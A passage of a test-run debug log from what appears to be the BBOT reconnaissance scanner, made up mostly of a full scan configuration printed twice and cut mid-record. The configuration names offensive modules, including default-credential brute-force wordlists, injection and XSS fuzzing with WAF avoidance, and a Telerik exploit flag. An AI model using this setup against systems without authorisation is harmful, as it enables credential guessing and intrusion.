shutting down... +2026-02-27 19:08:04,869 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-02-27 19:08:04,979 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_awsj7y3s1x completed in 0 seconds with status FINISHED +2026-02-27 19:08:04,980 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-02-27 19:08:04,981 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 19:08:04,982 [CRITICAL] bbot test_module_shodan_enterprise.py:21 {'id': 'SCAN:bb8ac944ff20020e240bc7087e303b18d6feccc6', 'name': 'testshodan_enterprise_test_awsj7y3s1x', 'target': {'seeds': ['blacklanternsecurity.com'], 'whitelist': ['blacklanternsecurity.com'], 'blacklist': [], 'strict_scope': False, 'hash': 'b813d1d7fbaa3a3ca10ef8102b5dbcf344f4e8ea', 'seed_hash': '1e57014aa7b0715bca68e4f597204fc4e1e851fc', 'whitelist_hash': '1e57014aa7b0715bca68e4f597204fc4e1e851fc', 'blacklist_hash': 'da39a3ee5e6b4b0d3255bfef95601890afd80709', 'scope_hash': '0b94739339395097caf816b6e7a5a71160c59cf3'}, 'preset': {'description': 'testshodan_enterprise_test_awsj7y3s1x', 'config': {'home': '/tmp/.bbot_test', 'keep_scans': 20, 'status_frequency': 15, 'file_blobs': False, 'folder_blobs': False, 'scope': {'strict': False, 'report_distance': 0, 'search_distance': 0}, 'dns': {'disable': False, 'minimal': True, 'threads': 25, 'brute_threads': 1000, 'brute_nameservers': 'https://raw.githubusercontent.com/blacklanternsecurity/public-dns-servers/master/nameservers.txt', 'search_distance': 1, 'runaway_limit': 5, 'timeout': 1, 'retries': 1, 'wildcard_disable': False, 'wildcard_ignore': ['blacklanternsecurity.com', 'fakedomain', 'notreal', 'google', 'google.com', 'example.com', 'evilcorp.com', 'one'], 'wildcard_tests': 10, 'abort_threshold': 50, 'filter_ptrs': True, 'debug': False, 'omit_queries': ['SRV:mail.protection.outlook.com', 'CNAME:mail.protection.outlook.com', 'TXT:mail.protection.outlook.com']}, 'web': {'http_proxy': None, 'user_agent': 'BBOT Test User-Agent', 'spider_distance': 0, 'spider_depth': 1, 'spider_links_per_page': 25, 'http_timeout': 10, 'httpx_timeout': 5, 'http_headers': {'test': 'header'}, 'api_retries': 2, 'http_retries': 1, 'httpx_retries': 1, '429_sleep_interval': 30, '429_max_sleep_interval': 60, 'debug': False, 'http_max_redirects': 5, 'ssl_verify': False}, 'engine': {'debug': True}, 'deps': {'ffuf': {'version': '2.1.0'}, 'behavior': 'retry_failed'}, 'module_dirs': [], 'module_handle_event_timeout': 3600, 'module_handle_batch_timeout': 7200, 'speculate': False, 'excavate': False, 'aggregate': False, 'dnsresolve': True, 'cloudcheck': False, 'url_querystring_remove': True, 'url_querystring_collapse': True, 'url_extension_blacklist': ['png', 'jpg', 'bmp', 'ico', 'jpeg', 'gif', 'svg', 'webp', 'css', 'woff', 'woff2', 'ttf', 'eot', 'sass', 'scss', 'mp3', 'm4a', 'wav', 'flac', 'mp4', 'mkv', 'avi', 'wmv', 'mov', 'flv', 'webm'], 'url_extension_special': ['js'], 'url_extension_static': ['pdf', 'doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx', 'txt', 'csv', 'xml', 'yaml', 'ini', 'log', 'conf', 'cfg', 'env', 'md', 'rtf', 'tiff', 'bmp', 'jpg', 'jpeg', 'png', 'gif', 'svg', 'ico', 'mp3', 'wav', 'flac', 'mp4', 'mov', 'avi', 'mkv', 'webm', 'zip', 'tar', 'gz', 'bz2', '7z', 'rar'], 'parameter_blacklist': ['__VIEWSTATE', '__EVENTARGUMENT', '__EVENTVALIDATION', '__EVENTTARGET', '__EVENTARGUMENT', '__VIEWSTATEGENERATOR', '__SCROLLPOSITIONY', '__SCROLLPOSITIONX', 'ASP.NET_SessionId', 'PHPSESSID', '__cf_bm', 'f5_cspm'], 'parameter_blacklist_prefixes': ['TS01', 'BIGipServer', 'incap_', 'visid_incap_', 'AWSALB', 'utm_', 'ApplicationGatewayAffinity', 'JSESSIONID', 'ARRAffinity'], 'omit_event_types': [], 'interactsh_server': None, 'interactsh_disable': False, 'modules': {'massdns': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/deepmagic.com-prefixes-top500.txt'}, 'ffuf': {'prefix_busting': True, 'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt', 'lines': 5000, 'max_depth': 0, 'extensions': '', 'ignore_case': False, 'rate': 0}, 'http': {'url': '', 'bearer': '', 'method': 'POST', 'timeout': 10, 'siem_friendly': False}, 'websocket': {'url': '', 'preserve_graph': True, 'ignore_ssl': False}, 'web_parameters': {'output_file': '', 'include_count': False}, 'discord': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'emails': {'output_file': ''}, 'teams': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'txt': {'output_file': ''}, 'neo4j': {'uri': 'bolt://localhost:7687'}, 'asset_inventory': {'output_file': '', 'use_previous': False, 'recheck': False, 'summary_netmask': 16}, 'sqlite': {'database': ''}, 'web_report': {'output_file': '', 'css_theme_file': 'https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css'}, 'csv': {'output_file': ''}, 'postgres': {'host': 'localhost', 'port': 5432, 'database': 'bbot'}, 'python': {}, 'subdomains': {'output_file': '', 'include_unresolved': False}, 'stdout': {'format': 'text', 'event_types': [], 'event_fields': [], 'in_scope_only': False, 'accept_dupes': True}, 'nmap_xml': {}, 'json': {'output_file': '', 'siem_friendly': False}, 'slack': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'splunk': {'url': '', 'index': '', 'source': '', 'timeout': 10}, 'mysql': {'host': 'localhost', 'port': 3306, 'database': 'bbot'}, 'legba': {'ssh_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt', 'ftp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt', 'telnet_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt', 'vnc_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/vnc-betterdefaultpasslist.txt', 'mssql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mssql-betterdefaultpasslist.txt', 'mysql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt', 'postgresql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/postgres-betterdefaultpasslist.txt', 'concurrency': 3, 'rate_limit': 3, 'version': '1.1.1'}, 'lightfuzz': {'force_common_headers': False, 'enabled_submodules': ['sqli', 'cmdi', 'xss', 'path', 'ssti', 'crypto', 'serial', 'esi'], 'disable_post': False, 'try_post_as_get': False, 'try_get_as_post': False, 'avoid_wafs': True}, 'aggregate': {}, 'cloudcheck': {}, 'excavate': {'yara_max_match_data': 2000, 'custom_yara_rules': '', 'speculate_params': False}, 'speculate': {'max_hosts': 65536, 'ports': '80,443', 'essential_only': False}, 'unarchive': {}, 'dnsresolve': {}, 'urlscan': {'urls': False}, 'jadx': {'threads': 4}, 'trufflehog': {'version': '3.90.8', 'config': '', 'only_verified': True, 'concurrency': 8, 'deleted_forks': False}, 'host_header': {}, 'securitytxt': {'emails': True, 'urls': True}, 'dnsdumpster': {}, 'bevigil': {'urls': False}, 'bucket_google': {'permutations': False}, 'git': {}, 'azure_realm': {}, 'extractous': {'extensions': ['bak', 'bash', 'bashrc', 'conf', 'cfg', 'crt', 'csv', 'db', 'sqlite', 'doc', 'docx', 'ica', 'indd', 'ini', 'json', 'key', 'pub', 'log', 'markdown', 'md', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'rdp', 'rsa', 'sh', 'sql', 'swp', 'sxw', 'txt', 'vbs', 'wpd', 'xls', 'xlsx', 'xml', 'yml', 'yaml']}, 'credshed': {'credshed_url': ''}, 'fullhunt': {}, 'social': {}, 'pgp': {'search_urls': ['https://keyserver.ubuntu.com/pks/lookup?fingerprint=on&op=vindex&search=', 'http://the.earth.li:11371/pks/lookup?fingerprint=on&op=vindex&search=', 'https://pgpkeys.eu/pks/lookup?search=&op=index', 'https://pgp.mit.edu/pks/lookup?search=&op=index']}, 'azure_tenant': {}, 'virustotal': {}, 'vhost': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'force_basehost': '', 'lines': 5000}, 'shodan_enterprise': {}, 'dnsbrute': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'max_depth': 5}, 'shodan_dns': {}, 'ip2location': {'lang': ''}, 'rapiddns': {}, 'wpscan': {'enumerate': 'vp,vt,cb,dbe', 'threads': 5, 'request_timeout': 5, 'connection_timeout': 2, 'disable_tls_checks': True, 'force': False}, 'dnscommonsrv': {'max_depth': 2}, 'passivetotal': {}, 'ntlm': {'try_all': False}, 'trickest': {}, 'google_playstore': {}, 'github_usersearch': {}, 'subdomainradar': {'group': 'fast', 'timeout': 120}, 'dockerhub': {}, 'medusa': {'snmp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/common-snmp-community-strings.txt', 'snmp_versions': ['1', '2C'], 'wait_microseconds': 200, 'timeout_s': 5, 'threads': 5}, 'digitorus': {}, 'wafw00f': {'generic_detect': True}, 'generic_ssrf': {'skip_dns_interaction': False}, 'filedownload': {'extensions': ['bak', 'bash', 'bashrc', 'cfg', 'conf', 'crt', 'csv', 'db', 'dll', 'doc', 'docx', 'exe', 'ica', 'indd', 'ini', 'jar', 'json', 'key', 'log', 'markdown', 'md', 'msi', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'pub', 'raw', 'rdp', 'rsa', 'sh', 'sql', 'sqlite', 'swp', 'sxw', 'tar.gz', 'tgz', 'tar', 'txt', 'vbs', 'war', 'wpd', 'xls', 'xlsx', 'xml', 'yaml', 'yml', 'zip', 'lzma', 'rar', '7z', 'xz', 'bz2'], 'max_filesize': '10MB', 'output_folder': ''}, 'chaos': {}, 'httpx': {'threads': 50, 'in_scope_only': True, 'version': '1.2.5', 'max_response_size': 5242880, 'store_responses': False, 'probe_all_ips': False}, 'baddns_zone': {'custom_nameservers': [], 'only_high_confidence': False}, 'graphql_introspection': {'graphql_endpoint_urls': ['/', '/graphql', '/v1/graphql'], 'output_folder': ''}, 'paramminer_headers': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'securitytrails': {}, 'bucket_microsoft': {'permutations': False}, 'viewdns': {}, 'url_manipulation': {'allow_redirects': True}, 'ffuf_shortnames': {'wordlist_extensions': '', 'max_depth': 1, 'version': '2.0.0', 'extensions': '', 'ignore_redirects': True, 'find_common_prefixes': False, 'find_delimiters': True, 'find_subwords': False, 'max_predictions': 250, 'rate': 0}, 'censys_ip': {'dns_names_limit': 100, 'in_scope_only': True}, 'builtwith': {'redirects': True}, 'certspotter': {}, 'sslcert': {'timeout': 5.0, 'skip_non_ssl': True}, 'gitdumper': {'output_folder': '', 'fuzz_tags': False, 'max_semanic_version': 10}, 'shodan_idb': {'retries': None}, 'hackertarget': {}, 'c99': {}, 'newsletters': {}, 'apkpure': {'output_folder': ''}, 'crt': {}, 'postman_download': {'output_folder': ''}, 'hunt': {}, 'dnsbrute_mutations': {'max_mutations': 100}, 'bucket_firebase': {'permutations': False}, 'nuclei': {'version': '3.7.0', 'tags': '', 'templates': '', 'severity': '', 'ratelimit': 150, 'concurrency': 25, 'mode': 'manual', 'etags': '', 'budget': 1, 'silent': False, 'directory_only': True, 'retries': 0, 'batch_size': 200, 'module_timeout': 21600}, 'censys_dns': {'max_pages': 5}, 'retirejs': {'version': '5.3.0', 'node_version': '18.19.1', 'severity': 'medium'}, 'git_clone': {'output_folder': ''}, 'bucket_amazon': {'permutations': False}, 'bucket_digitalocean': {'permutations': False}, 'skymem': {}, 'hunterio': {}, 'paramminer_cookies': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'postman': {}, 'code_repository': {}, 'gitlab_com': {}, 'dnstlsrpt': {'emit_emails': True, 'emit_raw_dns_records': False, 'emit_urls': True}, 'baddns': {'custom_nameservers': [], 'only_high_confidence': False, 'enabled_submodules': []}, 'subdomaincenter': {}, 'wayback': {'urls': False, 'garbage_threshold': 10}, 'ipstack': {}, 'emailformat': {}, 'fingerprintx': {'version': '1.1.4', 'skip_common_web': True}, 'dnscaa': {'in_scope_only': True, 'dns_names': True, 'emails': True, 'urls': True}, 'bypass403': {}, 'leakix': {}, 'paramminer_getparams': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'reflected_parameters': {}, 'crt_db': {}, 'bucket_file_enum': {'file_limit': 50}, 'portscan': {'top_ports': 100, 'ports': '', 'rate': 300, 'wait': 5, 'ping_first': False, 'ping_only': False, 'adapter': '', 'adapter_ip': '', 'adapter_mac': '', 'router_mac': '', 'module_timeout': 259200}, 'baddns_direct': {'custom_nameservers': []}, 'ajaxpro': {}, 'telerik': {'exploit_RAU_crypto': False, 'include_subdirs': False}, 'dnsbimi': {'emit_raw_dns_records': False, 'emit_urls': True, 'selectors': 'default,email,mail,bimi'}, 'aspnet_bin_exposure': {}, 'otx': {}, 'github_codesearch': {'limit': 100}, 'dehashed': {}, 'gowitness': {'version': '3.0.5', 'threads': 0, 'timeout': 10, 'resolution_x': 1440, 'resolution_y': 900, 'output_path': '', 'social': False, 'idle_timeout': 1800, 'chrome_path': ''}, 'docker_pull': {'all_tags': False, 'output_folder': ''}, 'ipneighbor': {'num_bits': 4}, 'bufferoverrun': {'commercial': False}, 'gitlab_onprem': {}, 'iis_shortnames': {'detect_only': True, 'max_node_count': 50, 'speculate_magic_urls': True}, 'badsecrets': {}, 'myssl': {}, 'github_workflows': {'num_logs': 1, 'output_folder': ''}, 'dotnetnuke': {}, 'smuggler': {}, 'robots': {'include_sitemap': False, 'include_allow': True, 'include_disallow': True}, 'anubisdb': {'limit': 1000}, 'oauth': {'try_all': False}, 'github_org': {'include_members': True, 'include_member_repos': False}, 'portfilter': {'cdn_tags': 'cdn-', 'allowed_cdn_ports': '80,443'}, 'sitedossier': {}, 'asn': {}, 'affiliates': {}}, 'agent_url': 'ws://127.0.0.1:8765', 'debug': True}, 'modules': ['shodan_enterprise'], 'output_modules': ['python'], 'scan_name': 'testshodan_enterprise_test_awsj7y3s1x'}, 'started_at': '2026-02-27T19:08:04.278805', 'status': 'RUNNING'} +2026-02-27 19:08:04,983 [CRITICAL] bbot test_module_shodan_enterprise.py:21 blacklanternsecurity.com +2026-02-27 19:08:04,983 [CRITICAL] bbot test_module_shodan_enterprise.py:21 {'id': 'SCAN:bb8ac944ff20020e240bc7087e303b18d6feccc6', 'name': 'testshodan_enterprise_test_awsj7y3s1x', 'target': {'seeds': ['blacklanternsecurity.com'], 'whitelist': ['blacklanternsecurity.com'], 'blacklist': [], 'strict_scope': False, 'hash': 'b813d1d7fbaa3a3ca10ef8102b5dbcf344f4e8ea', 'seed_hash': '1e57014aa7b0715bca68e4f597204fc4e1e851fc', 'whitelist_hash': '1e57014aa7b0715bca68e4f597204fc4e1e851fc', 'blacklist_hash': 'da39a3ee5e6b4b0d3255bfef95601890afd80709', 'scope_hash': '0b94739339395097caf816b6e7a5a71160c59cf3'}, 'preset': {'description': 'testshodan_enterprise_test_awsj7y3s1x', 'config': {'home': '/tmp/.bbot_test', 'keep_scans': 20, 'status_frequency': 15, 'file_blobs': False, 'folder_blobs': False, 'scope': {'strict': False, 'report_distance': 0, 'search_distance': 0}, 'dns': {'disable': False, 'minimal': True, 'threads': 25, 'brute_threads': 1000, 'brute_nameservers': 'https://raw.githubusercontent.com/blacklanternsecurity/public-dns-servers/master/nameservers.txt', 'search_distance': 1, 'runaway_limit': 5, 'timeout': 1, 'retries': 1, 'wildcard_disable': False, 'wildcard_ignore': ['blacklanternsecurity.com', 'fakedomain', 'notreal', 'google', 'google.com', 'example.com', 'evilcorp.com', 'one'], 'wildcard_tests': 10, 'abort_threshold': 50, 'filter_ptrs': True, 'debug': False, 'omit_queries': ['SRV:mail.protection.outlook.com', 'CNAME:mail.protection.outlook.com', 'TXT:mail.protection.outlook.com']}, 'web': {'http_proxy': None, 'user_agent': 'BBOT Test User-Agent', 'spider_distance': 0, 'spider_depth': 1, 'spider_links_per_page': 25, 'http_timeout': 10, 'httpx_timeout': 5, 'http_headers': {'test': 'header'}, 'api_retries': 2, 'http_retries': 1, 'httpx_retries': 1, '429_sleep_interval': 30, '429_max_sleep_interval': 60, 'debug': False, 'http_max_redirects': 5, 'ssl_verify': False}, 'engine': {'debug': True}, 'deps': {'ffuf': {'version': '2.1.0'}, 'behavior': 'retry_failed'}, 'module_dirs': [], 'module_handle_event_timeout': 3600, 'module_handle_batch_timeout': 7200, 'speculate': False, 'excavate': False, 'aggregate': False, 'dnsresolve': True, 'cloudcheck': False, 'url_querystring_remove': True, 'url_querystring_collapse': True, 'url_extension_blacklist': ['png', 'jpg', 'bmp', 'ico', 'jpeg', 'gif', 'svg', 'webp', 'css', 'woff', 'woff2', 'ttf', 'eot', 'sass', 'scss', 'mp3', 'm4a', 'wav', 'flac', 'mp4', 'mkv', 'avi', 'wmv', 'mov', 'flv', 'webm'], 'url_extension_special': ['js'], 'url_extension_static': ['pdf', 'doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx', 'txt', 'csv', 'xml', 'yaml', 'ini', 'log', 'conf', 'cfg', 'env', 'md', 'rtf', 'tiff', 'bmp', 'jpg', 'jpeg', 'png', 'gif', 'svg', 'ico', 'mp3', 'wav', 'flac', 'mp4', 'mov', 'avi', 'mkv', 'webm', 'zip', 'tar', 'gz', 'bz2', '7z', 'rar'], 'parameter_blacklist': ['__VIEWSTATE', '__EVENTARGUMENT', '__EVENTVALIDATION', '__EVENTTARGET', '__EVENTARGUMENT', '__VIEWSTATEGENERATOR', '__SCROLLPOSITIONY', '__SCROLLPOSITIONX', 'ASP.NET_SessionId', 'PHPSESSID', '__cf_bm', 'f5_cspm'], 'parameter_blacklist_prefixes': ['TS01', 'BIGipServer', 'incap_', 'visid_incap_', 'AWSALB', 'utm_', 'ApplicationGatewayAffinity', 'JSESSIONID', 'ARRAffinity'], 'omit_event_types': [], 'interactsh_server': None, 'interactsh_disable': False, 'modules': {'massdns': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/deepmagic.com-prefixes-top500.txt'}, 'ffuf': {'prefix_busting': True, 'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt', 'lines': 5000, 'max_depth': 0, 'extensions': '', 'ignore_case': False, 'rate': 0}, 'http': {'url': '', 'bearer': '', 'method': 'POST', 'timeout': 10, 'siem_friendly': False}, 'websocket': {'url': '', 'preserve_graph': True, 'ignore_ssl': False}, 'web_parameters': {'output_file': '', 'include_count': False}, 'discord': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'emails': {'output_file': ''}, 'teams': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'txt': {'output_file': ''}, 'neo4j': {'uri': 'bolt://localhost:7687'}, 'asset_inventory': {'output_file': '', 'use_previous': False, 'recheck': False, 'summary_netmask': 16}, 'sqlite': {'database': ''}, 'web_report': {'output_file': '', 'css_theme_file': 'https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css'}, 'csv': {'output_file': ''}, 'postgres': {'host': 'localhost', 'port': 5432, 'database': 'bbot'}, 'python': {}, 'subdomains': {'output_file': '', 'include_unresolved': False}, 'stdout': {'format': 'text', 'event_types': [], 'event_fields': [], 'in_scope_only': False, 'accept_dupes': True}, 'nmap_xml': {}, 'json': {'output_file': '', 'siem_friendly': False}, 'slack': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'splunk': {'url': '', 'index': '', 'source': '', 'timeout': 10}, 'mysql': {'host': 'localhost', 'port': 3306, 'database': 'bbot'}, 'legba': {'ssh_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt', 'ftp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt', 'telnet_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt', 'vnc_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/vnc-betterdefaultpasslist.txt', 'mssql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mssql-betterdefaultpasslist.txt', 'mysql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt', 'postgresql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/postgres-betterdefaultpasslist.txt', 'concurrency': 3, 'rate_limit': 3, 'version': '1.1.1'}, 'lightfuzz': {'force_common_headers': False, 'enabled_submodules': ['sqli', 'cmdi', 'xss', 'path', 'ssti', 'crypto', 'serial', 'esi'], 'disable_post': False, 'try_post_as_get': False, 'try_get_as_post': False, 'avoid_wafs': True}, 'aggregate': {}, 'cloudcheck': {}, 'excavate': {'yara_max_match_data': 2000, 'custom_yara_rules': '', 'speculate_params': False}, 'speculate': {'max_hosts': 65536, 'ports': '80,443', 'essential_only': False}, 'unarchive': {}, 'dnsresolve': {}, 'urlscan': {'urls': False}, 'jadx': {'threads': 4}, 'trufflehog': {'version': '3.90.8', 'config': '', 'only_verified': True, 'concurrency': 8, 'deleted_forks': False}, 'host_header': {}, 'securitytxt': {'emails': True, 'urls': True}, 'dnsdumpster': {}, 'bevigil': {'urls': False}, 'bucket_google': {'permutations': False}, 'git': {}, 'azure_realm': {}, 'extractous': {'extensions': ['bak', 'bash', 'bashrc', 'conf', 'cfg', 'crt', 'csv', 'db', 'sqlite', 'doc', 'docx', 'ica', 'indd', 'ini', 'json', 'key', 'pub', 'log', 'markdown', 'md', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'rdp', 'rsa', 'sh', 'sql', 'swp', 'sxw', 'txt', 'vbs', 'wpd', 'xls', 'xlsx', 'xml', 'yml', 'yaml']}, 'credshed': {'credshed_url': ''}, 'fullhunt': {}, 'social': {}, 'pgp': {'search_urls': ['https://keyserver.ubuntu.com/pks/lookup?fingerprint=on&op=vindex&search=', 'http://the.earth.li:11371/pks/lookup?fingerprint=on&op=vindex&search=', 'https://pgpkeys.eu/pks/lookup?search=&op=index', 'https://pgp.mit.edu/pks/lookup?search=&op=index']}, 'azure_tenant': {}, 'virustotal': {}, 'vhost': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'force_basehost': '', 'lines': 5000}, 'shodan_enterprise': {}, 'dnsbrute': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'max_depth': 5}, 'shodan_dns': {}, 'ip2location': {'lang': ''}, 'rapiddns': {}, 'wpscan': {'enumerate': 'vp,vt,cb,dbe', 'threads': 5, 'request_timeout': 5, 'connection_timeout': 2, 'disable_tls_checks': True, 'force': False}, 'dnscommonsrv': {'max_depth': 2}, 'passivetotal': {}, 'ntlm': {'try_all': False}, 'trickest': {}, 'google_playstore': {}, 'github_usersearch': {}, 'subdomainradar': {'group': 'fast', 'timeout': 120}, 'dockerhub': {}, 'medusa': {'snmp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/common-snmp-community-strings.txt', 'snmp_versions': ['1', '2C'], 'wait_microseconds': 200, 'timeout_s': 5, 'threads': 5}, 'digitorus': {}, 'wafw00f': {'generic_detect': True}, 'generic_ssrf': {'skip_dns_interaction': False}, 'filedownload': {'extensions': ['bak', 'bash', 'bashrc', 'cfg', 'conf', 'crt', 'csv', 'db', 'dll', 'doc', 'docx', 'exe', 'ica', 'indd', 'ini', 'jar', 'json', 'key', 'log', 'markdown', 'md', 'msi', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'pub', 'raw', 'rdp', 'rsa', 'sh', 'sql', 'sqlite', 'swp', 'sxw', 'tar.gz', 'tgz', 'tar', 'txt', 'vbs', 'war', 'wpd', 'xls', 'xlsx', 'xml', 'yaml', 'yml', 'zip', 'lzma', 'rar', '7z', 'xz', 'bz2'], 'max_filesize': '10MB', 'output_folder': ''}, 'chaos': {}, 'httpx': {'threads': 50, 'in_scope_only': True, 'version': '1.2.5', 'max_response_size': 5242880, 'store_responses': False, 'probe_all_ips': False}, 'baddns_zone': {'custom_nameservers': [], 'only_high_confidence': False}, 'graphql_introspection': {'graphql_endpoint_urls': ['/', '/graphql', '/v1/graphql'], 'output_folder': ''}, 'paramminer_headers': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'securitytrails': {}, 'bucket_microsoft': {'permutations': False}, 'viewdns': {}, 'url_manipulation': {'allow_redirects': True}, 'ffuf_shortnames': {'wordlist_extensions': '', 'max_depth': 1, 'version': '2.0.0', 'extensions': '', 'ignore_redirects': True, 'find_common_prefixes': False, 'find_delimiters': True, 'find_subwords': False, 'max_predictions': 250, 'rate': 0}, 'censys_ip': {'dns_names_limit': 100, 'in_scope_only': True}, 'builtwith': {'redirects': True}, 'certspotter': {}, 'sslcert': {'timeout': 5.0, 'skip_non_ssl': True}, 'gitdumper': {'output_folder': '', 'fuzz_tags': False, 'max_semanic_version': 10}, 'shodan_idb': {'retries': None}, 'hackertarget': {}, 'c99': {}, 'newsletters': {}, 'apkpure': {'output_folder': ''}, 'crt': {}, 'postman_download': {'output_folder': ''}, 'hunt': {}, 'dnsbrute_mutations': {'max_mutations': 100}, 'bucket_firebase': {'permutations': False}, 'nuclei': {'version': '3.7.0', 'tags': '', 'templates': '', 'severity': '', 'ratelimit': 150, 'concurrency': 25, 'mode': 'manual', 'etags': '', 'budget': 1, 'silent': False, 'directory_only': True, 'retries': 0, 'batch_size': 200, 'module_timeout': 21600}, 'censys_dns': {'max_pages': 5}, 'retirejs': {'version': '5.3.0', 'node_version': '18.19.1', 'severity': 'medium'}, 'git_clone': {'output_folder': ''}, 'bucket_amazon': {'permutations': False}, 'bucket_digitalocean': {'permutations': False}, 'skymem': {}, 'hunterio': {}, 'paramminer_cookies': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'postman': {}, 'code_repository': {}, 'gitlab_com': {}, 'dnstlsrpt': {'emit_emails': True, 'emit_raw_dns_records': False, 'emit_urls': True}, 'baddns': {'custom_nameservers': [], 'only_high_confidence': False, 'enabled_submodules': []}, 'subdomaincenter': {}, 'wayback': {'urls': False, 'garbage_threshold': 10}, 'ipstack': {}, 'emailformat': {}, 'fingerprintx': {'version': '1.1.4', 'skip_common_web': True}, 'dnscaa': {'in_scope_only': True, 'dns_names': True, 'emails': True, 'urls': True}, 'bypass403': {}, 'leakix': {}, 'paramminer_getparams': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'reflected_parameters': {}, 'crt_db': {}, 'bucket_file_enum': {'file_limit': 50}, 'portscan': {'top_ports': 100, 'ports': '', 'rate': 300, 'wait': 5, 'ping_first': False, 'ping_only': False, 'adapter': '', 'adapter_ip': '', 'adapter_mac': '', 'router_mac': '', 'module_timeout': 259200}, 'baddns_direct': {'custom_nameservers': []}, 'ajaxpro': {}, 'telerik': {'exploit_RAU_crypto': False, 'include_subdirs': False}, 'dnsbimi': {'emit_raw_dns_records': False, 'emit_urls': True, 'selectors': 'default,email,mail,bimi'}, 'aspnet_bin_exposure': {}, 'otx': {}, 'github_codesearch': {'limit': 100}, 'dehashed': {}, 'gowitness': {'version': '3.0.5', 'threads': 0, 'timeout': 10, 'resolution_x': 1440, 'resolution_y': 900, 'output_path': '', 'social': False, 'idle_timeout': 1800, 'chrome_path': ''}, 'docker_pull': {'all_tags': False, 'output_folder': ''}, 'ipneighbor': {'num_bits': 4}, 'bufferoverrun': {'commercial': False}, 'gitlab_onprem': {}, 'iis_shortnames': {'detect_only': True, 'max_node_count': 50, 'speculate_magic_urls': True}, 'badsecrets': {}, 'myssl': {}, 'github_workflows': {'num_logs': 1, 'output_folder': ''}, 'dotnetnuke': {}, 'smuggler': {}, 'robots': {'include_sitemap': False, 'include_allow': True, 'include_disallow': True}, 'anubisdb': {'limit': 